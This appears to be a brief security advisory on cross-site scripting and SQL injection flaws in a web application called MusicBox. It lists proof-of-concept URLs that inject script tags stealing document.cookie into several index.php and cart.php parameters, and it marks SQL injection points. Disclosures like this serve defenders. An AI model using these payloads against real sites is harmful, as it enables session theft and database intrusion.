|
MusicBox Multiple Input Validation Vulnerabilities
Attackers can exploit these issues via a web client. The following examples were provided to demonstrate cross-site scripting: http://www.example.com/music/index.php?id='><script>alert(document.cookie)</script> http://www.example.com/music/index.php?action=top&show=5&type='><script>alert(d ocument.cookie)</script> http://www.example.com/music/index.php?action=top&show='><script>alert(document .cookie)</script>&type=Artists http://www.example.com/music/cart/cart.php?message1='><script>alert(document.cookie) </script> http://www.example.com/music/cart/cart.php?message='><script>alert(document.cookie)</script> The following examples were provided to demonstrate SQL injection: http://www.example.com/music/index.php?action=top&show=5&type=[SQL] http://www.example.com/music/index.php?action=top&show=[SQL]&type=Artists |
|
|
Privacy Statement |
